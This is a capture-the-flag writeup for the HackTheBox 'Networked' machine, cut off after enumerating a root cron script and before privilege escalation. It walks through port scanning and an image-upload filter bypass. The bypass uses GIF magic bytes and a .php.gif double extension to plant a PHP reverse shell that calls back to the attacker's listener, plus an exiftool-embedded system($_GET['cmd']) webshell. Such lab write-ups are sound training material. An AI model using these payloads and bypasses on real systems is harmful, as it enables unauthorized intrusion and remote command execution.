Thumbnail: gravatar

HacktheBox 'Networked' writeup

by on under writeups
35 minute read

‘Networked’ HTB Writeup

 

Host Information

Hostname IP Address Operating System Difficulty Level
Networked 10.10.10.146 Windows Easy

Networked HTB Card


 

view all writeups here

 


Writeup Contents:


 

Initial Recon

Again, we start with our initial recon of the target system. We’ll use the same enumeration automation script we used on a few other recent boxes - nmapAutomator. You can find and download the script here on Github.

Let’s run a full scan against the target:


root@kali:/writeups/HTB/networked/enumeration# nmapAutomator.sh 10.10.10.146 all



Running a all scan on 10.10.10.146



Host is likely running Linux







---------------------Starting Nmap Quick Scan---------------------



Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-03 09:22 CST

Nmap scan report for 10.10.10.146

Host is up (0.030s latency).

Not shown: 997 filtered ports, 1 closed port

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT   STATE SERVICE

22/tcp open  ssh

80/tcp open  http



Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds







---------------------Starting Nmap Basic Scan---------------------

                                                                                   

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-03 09:22 CST

Nmap scan report for 10.10.10.146

Host is up (0.029s latency).



PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey: 

|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)

|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)

|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)

80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.89 seconds







----------------------Starting Nmap UDP Scan----------------------

                                                                                   

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-03 09:22 CST

Warning: 10.10.10.146 giving up on port because retransmission cap hit (1).

Nmap scan report for 10.10.10.146

Host is up (0.029s latency).

All 1000 scanned ports on 10.10.10.146 are open|filtered (979) or filtered (21)



Nmap done: 1 IP address (1 host up) scanned in 15.39 seconds







---------------------Starting Nmap Full Scan----------------------

                                                                                   

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-03 09:23 CST

Initiating Parallel DNS resolution of 1 host. at 09:23

Completed Parallel DNS resolution of 1 host. at 09:23, 0.01s elapsed

Initiating SYN Stealth Scan at 09:23

Scanning 10.10.10.146 [65535 ports]

Discovered open port 80/tcp on 10.10.10.146

Discovered open port 22/tcp on 10.10.10.146

SYN Stealth Scan Timing: About 11.65% done; ETC: 09:27 (0:03:55 remaining)

SYN Stealth Scan Timing: About 23.11% done; ETC: 09:27 (0:03:23 remaining)

SYN Stealth Scan Timing: About 34.58% done; ETC: 09:27 (0:02:52 remaining)

SYN Stealth Scan Timing: About 46.05% done; ETC: 09:27 (0:02:22 remaining)

SYN Stealth Scan Timing: About 57.52% done; ETC: 09:27 (0:01:52 remaining)

SYN Stealth Scan Timing: About 68.98% done; ETC: 09:27 (0:01:21 remaining)

SYN Stealth Scan Timing: About 80.45% done; ETC: 09:27 (0:00:51 remaining)

Completed SYN Stealth Scan at 09:27, 262.08s elapsed (65535 total ports)

Nmap scan report for 10.10.10.146

Host is up (0.029s latency).

Not shown: 65532 filtered ports

PORT    STATE  SERVICE

22/tcp  open   ssh

80/tcp  open   http

443/tcp closed https



Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 262.17 seconds

           Raw packets sent: 130962 (5.762MB) | Rcvd: 265 (18.992KB)





No new ports

                                                                                   







---------------------Starting Nmap Vulns Scan---------------------

                                                                                   

Running CVE scan on basic ports

                                                                                   

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-03 09:27 CST

/usr/local/bin/nmapAutomator.sh: line 226: 20085 Segmentation fault      $nmapType -sV --script vulners --script-args mincvss=7.0 -p$(echo "${ports}") -oN nmap/CVEs_"$1".nmap "$1"





Running Vuln scan on basic ports

                                                                                   

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-03 09:27 CST

Nmap scan report for 10.10.10.146

Host is up (0.029s latency).



PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)

|_clamav-exec: ERROR: Script execution failed (use -d to debug)

| vulners: 

|   cpe:/a:openbsd:openssh:7.4: 

|       CVE-2018-15919  5.0     https://vulners.com/cve/CVE-2018-15919

|_      CVE-2017-15906  5.0     https://vulners.com/cve/CVE-2017-15906

80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

|_clamav-exec: ERROR: Script execution failed (use -d to debug)

|_http-csrf: Couldn't find any CSRF vulnerabilities.

|_http-dombased-xss: Couldn't find any DOM based XSS.

| http-enum: 

|   /backup/: Backup folder w/ directory listing

|   /icons/: Potentially interesting folder w/ directory listing

|_  /uploads/: Potentially interesting folder

|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

|_http-trace: TRACE is enabled

|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)

| vulners: 

|   cpe:/a:apache:http_server:2.4.6: 

|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679

|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312

|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715

|       CVE-2014-0226   6.8     https://vulners.com/cve/CVE-2014-0226

|       CVE-2017-9788   6.4     https://vulners.com/cve/CVE-2017-9788

|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217

|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098

|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220

|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199

|       CVE-2017-9798   5.0     https://vulners.com/cve/CVE-2017-9798

|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710

|       CVE-2016-8743   5.0     https://vulners.com/cve/CVE-2016-8743

|       CVE-2016-2161   5.0     https://vulners.com/cve/CVE-2016-2161

|       CVE-2016-0736   5.0     https://vulners.com/cve/CVE-2016-0736

|       CVE-2014-3523   5.0     https://vulners.com/cve/CVE-2014-3523

|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231

|       CVE-2014-0098   5.0     https://vulners.com/cve/CVE-2014-0098

|       CVE-2013-6438   5.0     https://vulners.com/cve/CVE-2013-6438

|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092

|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975

|       CVE-2015-3185   4.3     https://vulners.com/cve/CVE-2015-3185

|       CVE-2014-8109   4.3     https://vulners.com/cve/CVE-2014-8109

|       CVE-2014-0118   4.3     https://vulners.com/cve/CVE-2014-0118

|       CVE-2014-0117   4.3     https://vulners.com/cve/CVE-2014-0117

|       CVE-2013-4352   4.3     https://vulners.com/cve/CVE-2013-4352

|       CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283

|_      CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 37.87 seconds







---------------------Recon Recommendations----------------------

                                                                                   



Web Servers Recon:

                                                                                   

gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.146:80 -o recon/gobuster_10.10.10.146_80.txt

nikto -host 10.10.10.146:80 | tee recon/nikto_10.10.10.146_80.txt











Which commands would you like to run?                                              

All (Default), gobuster, nikto, Skip <!>



Running Default in (15) s: 







---------------------Running Recon Commands----------------------

                                                                                   



Starting gobuster scan

                                                                                   

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

===============================================================

[+] Url:            http://10.10.10.146:80

[+] Threads:        30

[+] Wordlist:       /usr/share/wordlists/dirb/common.txt

[+] Status codes:   200,204,301,302,307,401,403

[+] User Agent:     gobuster/3.0.1

[+] Show length:    true

[+] Extensions:     html,php

[+] Expanded:       true

[+] Timeout:        10s

===============================================================

2020/02/03 09:28:44 Starting gobuster

===============================================================

http://10.10.10.146:80/.hta (Status: 403) [Size: 206]

http://10.10.10.146:80/.hta.html (Status: 403) [Size: 211]

http://10.10.10.146:80/.hta.php (Status: 403) [Size: 210]

http://10.10.10.146:80/.htaccess (Status: 403) [Size: 211]

http://10.10.10.146:80/.htaccess.html (Status: 403) [Size: 216]

http://10.10.10.146:80/.htaccess.php (Status: 403) [Size: 215]

http://10.10.10.146:80/.htpasswd (Status: 403) [Size: 211]

http://10.10.10.146:80/.htpasswd.html (Status: 403) [Size: 216]

http://10.10.10.146:80/.htpasswd.php (Status: 403) [Size: 215]

http://10.10.10.146:80/backup (Status: 301) [Size: 235]

http://10.10.10.146:80/cgi-bin/ (Status: 403) [Size: 210]

http://10.10.10.146:80/cgi-bin/.html (Status: 403) [Size: 215]

http://10.10.10.146:80/index.php (Status: 200) [Size: 229]

http://10.10.10.146:80/index.php (Status: 200) [Size: 229]

http://10.10.10.146:80/lib.php (Status: 200) [Size: 0]

http://10.10.10.146:80/photos.php (Status: 200) [Size: 1302]

http://10.10.10.146:80/upload.php (Status: 200) [Size: 169]

http://10.10.10.146:80/uploads (Status: 301) [Size: 236]

===============================================================

2020/02/03 09:29:11 Finished

===============================================================



Finished gobuster scan

                                                                                   

=========================

                                                                                   

Starting nikto scan

                                                                                   

- Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP:          10.10.10.146

+ Target Hostname:    10.10.10.146

+ Target Port:        80

+ Start Time:         2020-02-03 09:29:12 (GMT-6)

---------------------------------------------------------------------------

+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16

+ Retrieved x-powered-by header: PHP/5.4.16

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.

+ PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.

+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-3268: /backup/: Directory indexing found.

+ OSVDB-3092: /backup/: This might be interesting...

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ 8672 requests: 0 error(s) and 15 item(s) reported on remote host

+ End Time:           2020-02-03 09:34:50 (GMT-6) (338 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested



Finished nikto scan

                                                                                   

=========================

                                                                                   

                                                                                   

                                                                                   

---------------------Finished all Nmap scans---------------------                  

                                                                                   



Completed in 12 minute(s) and 15 second(s)



taking a look at HTTP

Let’s start by taking a look at HTTP. Going to the initial index page, we’re greeted simply by the following text on a white screen:


Hello mate, we're building the new FaceMash!

Help by funding us and be the new Tyler&Cameron!

Join us at the pool party this Sat to get a glimpse 

Checking out the source of the page doesn’t tell us much more, but there’s something about an upload gallery that hasn’t been linked yet.


<html>

<body>

Hello mate, we're building the new FaceMash!</br>

Help by funding us and be the new Tyler&Cameron!</br>

Join us at the pool party this Sat to get a glimpse

<!-- upload and gallery not yet linked -->

</body>

</html>

Let’s look at some other pages detected by gobuster. The main page seems to be the same index.php. The bkacup directory looks to giive interesting results:


Index of /backup



[ICO]	Name	Last modified	Size	Description



[PARENTDIR]	Parent Directory 	 	- 	 

[ ]	backup.tar 	2019-07-09 13:33 	10K	 



Let’s go ahead and download the tar file to our loot folder and extract it.


root@kali:/writeups/HTB/networked/loot# wget http://10.10.10.146/backup/backup.tar

--2020-02-03 09:48:32--  http://10.10.10.146/backup/backup.tar

Connecting to 10.10.10.146:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 10240 (10K) [application/x-tar]

Saving to: ‘backup.tar’



backup.tar                      100%[====================================================>]  10.00K  --.-KB/s    in 0s      



2020-02-03 09:48:32 (55.6 MB/s) - ‘backup.tar’ saved [10240/10240]



root@kali:/writeups/HTB/networked/loot# tar -xvf backup.tar 

index.php

lib.php

photos.php

upload.php

Before we go poking into the backup files more though, let’s check out upload.php and photos.php. If we can get file upload of a malicious payload, we could potentially get a reverse shell connection on our local system. Let’s see.

Going to the current photos.php directory, we see a number of CentOS logo photos:

Networked Photos main page

At first I thought the viewing of images might be broken, and it defaulted to the logo, but if we view the page source, we see relative links to the photos:


<html>

<head>

<style type="text/css">

.tg  {border-collapse:collapse;border-spacing:0;margin:0px auto;}

.tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}

.tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}

.tg .tg-0lax{text-align:left;vertical-align:top}

@media screen and (max-width: 767px) {.tg {width: auto !important;}.tg col {width: auto !important;}.tg-wrap {overflow-x: auto;-webkit-overflow-scrolling: touch;margin: auto 0px;}}</style>

</head>

<body>

Welcome to our awesome gallery!</br>

See recent uploaded pictures from our community, and feel free to rate or comment</br>

<div class="tg-wrap"><table class="tg">

<tr>

<td class="tg-0lax">uploaded by 127_0_0_4.png<br><img src='uploads/127_0_0_4.png' width=100px></td>

<td class="tg-0lax">uploaded by 127_0_0_3.png<br><img src='uploads/127_0_0_3.png' width=100px></td>

<td class="tg-0lax">uploaded by 127_0_0_1.png<br><img src='uploads/127_0_0_1.png' width=100px></td>

<td class="tg-0lax">uploaded by 127_0_0_2.png<br><img src='uploads/127_0_0_2.png' width=100px></td>

</tr>

</table></div>

</body>

</html>

Clicking on each link does indeed reveal the CentOS folder.

 

Let’s check out the upload page now. Going to http://10.10.10.146/upload.php presents us with a simple upload page, with a browse button to launch a file browser, and an upload button.

Let’s go ahead and see if we can upload a php reverse shell. Let’s copy a php reverse shell native to Kali to our exploits folder, the modify the IP and host as needed:


root@kali:/writeups/HTB/networked/exploits# cp /usr/share/webshells/php/php-reverse-shell.php superlegitimage.php

The following line should be the only that really needs to change in the script, though you can change the port if you wish.:


$ip = '10.10.14.50';  // CHANGE THIS

Let’s start a listener locally with nc -lvnp 1234 on the off-chance that file types aren’t restricted on the target webserver, and we catch a shell.

Uploading the php file, as expected, we get the following message:


Invalid image file.

Checking the untarred files in the loot directory, though, we can examine the upload.php file, to see how the server is determining valid file types. When viewing upload.php, we see the following:


    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];

    list ($foo,$ext) = getnameUpload($myFile["name"]);

    $validext = array('.jpg', '.png', '.gif', '.jpeg');

    $valid = false;

    foreach ($validext as $vext) {

      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {

        $valid = true;

      }

    }



    if (!($valid)) {

      echo "<p>Invalid image file</p>";

      displayform();

      exit;

    }

    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;



    $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);

    if (!$success) {

        echo "<p>Unable to save file.</p>";

        exit;

    }

    echo "<p>file uploaded, refresh gallery</p>";



    // set proper permissions on the new file

    chmod(UPLOAD_DIR . $name, 0644);

  }

Interesting, so it looks like the upload script is simply checking the file extension, not the actual content of the file perhaps?. Further more, it looks like it sets the permissions to a 0644 chmod, so we should have executable permissions on the file, which is nice.

OK, so let’s try simply changing the filename from a .php extension to .png, and see if the upload works.


root@kali:/writeups/HTB/networked/exploits# mv superlegitimage.php superlegitimage.png

Hmm, we still get the same “Invalid image file” message. Let’s take a closer look at the script.

 

Upon reviewing the upload.php script again, I notice a function I had gloseed over previously:


if( isset($_POST['submit']) ) {

  if (!empty($_FILES["myFile"])) {

    $myFile = $_FILES["myFile"];



    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {

      echo '<pre>Invalid image file.</pre>';

      displayform();

    }



Doing a quick search in the file, I don’t see another occurance of check_file_type. However, we notice at the top of the file, the require statement: require '/var/www/html/lib.php';. Let’s check that file out briefly.

In lib.php we see the check_file_type function:


function check_file_type($file) {

  $mime_type = file_mime_type($file);

  if (strpos($mime_type, 'image/') === 0) {

      return true;

  } else {

      return false;

  }  

}



We also see the following, for the file_mime_type function:


function file_mime_type($file) {

  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';

  if (function_exists('finfo_file')) {

    $finfo = finfo_open(FILEINFO_MIME);

    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system

    {

      $mime = @finfo_file($finfo, $file['tmp_name']);

      finfo_close($finfo);

      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {

        $file_type = $matches[1];

        return $file_type;

      }

    }

  }

  if (function_exists('mime_content_type'))

  {

    $file_type = @mime_content_type($file['tmp_name']);

    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string

    {

      return $file_type;

    }

  }

  return $file['type'];

}

OK, so it looks as if the upload function is checking the file MIME tpye.

Let’s see if there’s a way we can change the MIME type to fool the server. We find an interesting resource here. Let’s try it out.

Let’s add the following at the very front of the reverse shell file:


GIF89a;

<?

system($_GET['cmd']);//or you can insert your complete shell code

?>

And then run:


root@kali:/writeups/HTB/networked/exploits# exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' superlegitimage.png 

Error: Not a valid PNG (looks more like a GIF) - superlegitimage.png

    0 image files updated

    1 files weren't updated due to errors

We see we get an error, so let’s try to rename the shell to .gif and run:


root@kali:/writeups/HTB/networked/exploits# exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' superlegitimage.gif

    1 image files updated

.gif seems to be an allowed file type, so let’s give it a shot, making sure our netcat listener is still listening on port 1234.

Uploading ‘superlegitimage.gif’ results in:


file uploaded, refresh gallery

Awesome, let’s check out the gallery. We see the following when we go to http://10.10.10.146/photos.php

First malicious upload attempt

No shell caught by netcat yet, so let’s try to go directly to our image at http://10.10.10.146/uploads/10_10_14_50.gif. We see a message that says the image cannot be displayed due to an error. That didn’t catch a shell either. Thinking on it for a few minutes, I realize that the magic number (the first 8 characters in the hex file hearder) was probably off as it was not truly a gif. Let’s try copying a valid gif file, removing everything after the header info, and then uploading it.

I didn’t have a valid .gif on my system, so we can download one.


root@kali:/writeups/HTB/networked/exploits# wget https://upload.wikimedia.org/wikipedia/commons/thumb/5/5a/Animated_Wallpaper_Windows_10_-_Wallpaper_Engine.gif/64px-Animated_Wallpaper_Windows_10_-_Wallpaper_Engine.gif



root@kali:/writeups/HTB/networked/exploits# mv 64px-Animated_Wallpaper_Windows_10_-_Wallpaper_Engine.gif outrun.gif

Remove the file content after the header (shouldn’t exactly matter where, as long as you preserve the file metedata). We can confirm the magic numbers are intact using xxd.


root@kali:/writeups/HTB/networked/exploits# xxd test

00000000: 4749 4638 3961 4000 2400 c3b7 0000 080d  GIF89a@.$.......

00000010: 140d 1a24 1821 1e0d 222d 2303 1d2f 0829  ...$.!.."-#../.)

00000020: 3422 1c2f 2b31 1c1a 4504 0465 0f33 4d1a  4"./+1..E..e.3M.

00000030: 376b 3113 4933 1767 2f2d 4f2f 3272 0759  7k1.I3.g/-O/2r.Y

00000040: 3217 663b 3043 3c10 425a 124d 6e19 6279  2.f;0C<.BZ.Mn.by

00000050: 3044 5630 4f72 3060 572c 6770 4a0e 1c4d  0DV0Or0`W,gpJ..M

00000060: 0235 4328 1d49 3630 6604 0767 0738 6c2f  .5C(.I60f..g.8l/

00000070: 1a6a 2b2e 520b 4a51 1769 4d2d 514e 2a6e  .j+.R.JQ.iM-QN*n

00000080: 6b03 476e 156b 6b24 566d 2a71 5244 3a56  k.Gn.kk$Vm*qRD:V

00000090: 7d1f 4e6f 2673 461f 6c4c 3249 494f 4553  }.No&sF.lL2IIOES

000000a0: 6d4d 675d 5265 6c67 5159 6b49 7570 6557  mMg]RelgQYkIupeW

000000b0: 7470 7413 3bc2 8a1e 3fc2 a138 1bc2 8031  tpt.;...?..8...1

000000c0: 39c2 8730 3cc2 a519 51c2 8d1c 59c2 a815  9..0<...Q...Y...

000000d0: 68c2 9319 6ec2 b02d 4ac2 8e2b 57c2 ab33  h...n..-J..+W..3

000000e0: 66c2 902d 6ec2 b113 56c3 8b02 5dc3 a31b  f..-n...V...]...

000000f0: 75c3 8c15 7ac3 a52e 5cc3 832b 71c3 8e2a  u...z...\..+q..*

00000100: 7bc3 a365 32c2 8d4e 4bc2 9152 52c2 ad4b  {..e2..NK..RR..K

00000110: 66c2 9550 6ac2 b46b 49c2 936e 51c2 af6f  f..Pj..kI..nQ..o

00000120: 72c2 8b68 65c2 b65d 6bc3 8c0c c289 4408  r..he..]k.....D.

00000130: c283 6f6f c2ad 0549 c2a7 7363 c283 797a  ..oo...I..sc..yz

00000140: c380 0010 c284 c297 17c2 84c2 b90a 0a0a  ................

OK, now let’s paste the php reverse shell from pentest monkey at the bottom of the file (being sure to change the IP), and try to upload again.

 

The upload succeeds, but with the same results as before. Going to the gallery, as well as to the direct image path, results in the image not displaying, even though it was uploaded, but not spawning a reverse shell either.

 

gaining an initial foothold

At this point I was a bit stumped. After some time, though, it occured to me to try a simple change that I didn’t think would matter: changing the file extension.

We know from the php scripts that our file needs to meet two requirements:

1) It needs to have a valid image file extension (.jpg, jpeg, .png, .gif)

2) It needs to have valid file info so that the MIME type returns the file as an image.

We know that our original image was a gif, and retained the proper metadata for the MIME type to resolve correctly. So, would the server accept outrun.php.gif?

Let’s change the extension and verify that things come out okay on the file, before uploading:


root@kali:/writeups/HTB/networked/exploits# file outrun..php.gif 

outrun..php.gif: GIF image data, version 89a, 64 x 36

And we see we still have the GIF magic numbers 4749 4638, which is good.


root@kali:/writeups/HTB/networked/exploits# xxd outrun..php.gif | head

00000000: 4749 4638 3961 4000 2400 f700 0008 0d14  GIF89a@.$.......

00000010: 0d1a 2418 211e 0d22 2d23 031d 2f08 2934  ..$.!.."-#../.)4

00000020: 221c 2f2b 311c 1a45 0404 650f 334d 1a37  "./+1..E..e.3M.7

00000030: 6b31 1349 3317 672f 2d4f 2f32 7207 5932  k1.I3.g/-O/2r.Y2

00000040: 1766 3b30 433c 1042 5a12 4d6e 1962 7930  .f;0C<.BZ.Mn.by0

00000050: 4456 304f 7230 6057 2c67 704a 0e1c 4d02  DV0Or0`W,gpJ..M.

00000060: 3543 281d 4936 3066 0407 6707 386c 2f1a  5C(.I60f..g.8l/.

00000070: 6a2b 2e52 0b4a 5117 694d 2d51 4e2a 6e6b  j+.R.JQ.iM-QN*nk

00000080: 0347 6e15 6b6b 2456 6d2a 7152 443a 567d  .Gn.kk$Vm*qRD:V}

00000090: 1f4e 6f26 7346 1f6c 4c32 4949 4f45 536d  .No&sF.lL2IIOESm

Now let’s give uploading outrun.php.gif a shot, on the offchance that it needs the php extension to process correctly. Like before, the upload processess successfully, Going to http://10.10.10.146/photos.php or the direct image link seems to have the page load ad infinitum, as seems to be normal for a webshell. Checking our listener, we see we get a shell:


root@kali:~# nc -lvnp 1234

listening on [any] 1234 ...

connect to [10.10.14.50] from (UNKNOWN) [10.10.10.146] 58308

Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

 20:58:08 up 14:08,  0 users,  load average: 0.00, 0.01, 0.05

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

uid=48(apache) gid=48(apache) groups=48(apache)

sh: no job control in this shell

sh-4.2$ id

id

uid=48(apache) gid=48(apache) groups=48(apache)

sh-4.2$ whoami

whoami

apache

Awesome; so there’s probably some Apache config setting on the webserver that is looking for the actual .php extension in order to run php code.

 

Privilege Escalation

 

further enumeration

 

Alright, now we need to figure out a way to escalate privileges, to get a user shell (if necessary), then a root shell.

It looks like we have python installed on this system, so let’s go ahead and upgrade our shell:


sh-4.2$ which python

which python

/usr/bin/python

sh-4.2$ python -c 'import pty; pty.spawn("/bin/bash")'

python -c 'import pty; pty.spawn("/bin/bash")'

bash-4.2$ 

Running a sudo -l prompts for a password we don’t know, so that’s not an option at the moment. Running crontab -l doesn’t turn up anything either.

We can use the handy linux smart enumeration script; we can serve it over simpleHTTP locally, and use wget to download the file.

I want to check the filesystem for anything unsual first, though.

Going to /home/guly turns up some interesting files:


bash-4.2$ ls -la

ls -la

total 28

drwxr-xr-x. 2 guly guly 159 Jul  9  2019 .

drwxr-xr-x. 3 root root  18 Jul  2  2019 ..

lrwxrwxrwx. 1 root root   9 Jul  2  2019 .bash_history -> /dev/null

-rw-r--r--. 1 guly guly  18 Oct 30  2018 .bash_logout

-rw-r--r--. 1 guly guly 193 Oct 30  2018 .bash_profile

-rw-r--r--. 1 guly guly 231 Oct 30  2018 .bashrc

-rw-------  1 guly guly 639 Jul  9  2019 .viminfo

-r--r--r--. 1 root root 782 Oct 30  2018 check_attack.php

-rw-r--r--  1 root root  44 Oct 30  2018 crontab.guly

-r--------. 1 guly guly  33 Oct 30  2018 user.txt

Let’s check them out:


bash-4.2$ cat crontab.guly

cat crontab.guly

*/3 * * * * php /home/guly/check_attack.php

OK, so we can’t confirm yet without testing, but it looks like check_attack.php is being run every 3 minutes. Furthermore, looks like both the crontab file and the php script are chowned as root, so that might be a good sign. Let’s look at the php file, fortunately we have read privileges:


bash-4.2$ cat check_attack.php

cat check_attack.php

<?php

require '/var/www/html/lib.php';

$path = '/var/www/html/uploads/';

$logpath = '/tmp/attack.log';

$to = 'guly';

$msg= '';

$headers = "X-Mailer: check_attack.php\r\n";



$files = array();

$files = preg_grep('/^([^.])/', scandir($path));



foreach ($files as $key => $value) {

        $msg='';

  if ($value == 'index.html') {

        continue;

  }

  #echo "-------------\n";



  #print "check: $value\n";

  list ($name,$ext) = getnameCheck($value);

  $check = check_ip($name,$value);



  if (!($check[0])) {

    echo "attack!\n";

    # todo: attach file

    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);



    exec("rm -f $logpath");

    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

    echo "rm -f $path$value\n";

    mail($to, $msg, $msg, $headers, "-F$value");

  }

}



?>



It looks like this file is a work in progress, to alert the user guly if a malicious file was uploaded to the image galelry via the upload function we looked at earlier. Unfortunately, we don’t have write permissions to the file, I was going to have php write a file to confirm if the crontab execution is happening, and who is executing it.

Taking a further look at the script, it looks as if when is being mailed to guly, it contains the contents of the log file /tmp/attack.log, and then the file in question is being removed.

So what would get this to trigger? We see from the script that if the file does not exit with a 0 status, the condition will be met to trigger the alert and send a message. Let’s see if lib.php has further information on the conditions being checked in the script. We can see the following section from the file:


function check_ip($prefix,$filename) {

  //echo "prefix: $prefix - fname: $filename<br>\n";

  $ret = true;

  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {

    $ret = false;

    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";

  } else {

    $msg = $filename;

  }

  return array($ret,$msg);

}

We also see that FILTER_VALIDATE_IP is a built in PHP function that checks, well, that an IP is, well, valid. more info can be found here

 

lateral movement to user shell

OK, so it looks like if we change the file prefix to a file in the /var/www/html/uploads folder, we might be able to get this condition to trigger. Let’s test this out on one of the pre-existing files that we did not upload, so as not to potentially ruin our shell.

We see that we don’t have rights to edit an existing file in the directory except for the one we uploaded, but we can create new ones in the directory:


bash-4.2$ ls -ltr /var/www/html/uploads

ls -ltr /var/www/html/uploads

total 28

-r--r--r--. 1 root   root      2 Oct 30  2018 index.html

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_4.png

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_3.png

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_2.png

-rw-r--r--. 1 root   root   3915 Oct 30  2018 127_0_0_1.png

-rw-r--r--  1 apache apache 6370 Feb  4 00:08 10_10_14_50..php.gif

bash-4.2$ ls -ltr /var/www/html

ls -ltr /var/www/html

total 16

-rw-r--r--  1 root root 1331 Oct 30  2018 upload.php

-rw-r--r--  1 root root 1871 Oct 30  2018 photos.php

-rw-r--r--. 1 root root 2001 Oct 30  2018 lib.php

-rw-r--r--  1 root root  229 Jul  9  2019 index.php

drwxr-xr-x  2 root root   24 Jul  9  2019 backup

drwxrwxrwx. 2 root root  136 Feb  4 00:08 uploads

So let’s go ahead and write another file to the directory, and see if it gets removed.


bash-4.2$ pwd

pwd

/var/www/html/uploads

bash-4.2$ cp 127_0_0_1.png this_isnt_a_valid.prefix.png

cp 127_0_0_1.png this_isnt_a_valid.prefix.png

We see after a moment the file is removed from the uploads directory. That’s good, we know that we can trigger the script to take an action, but how would that help us privesc?

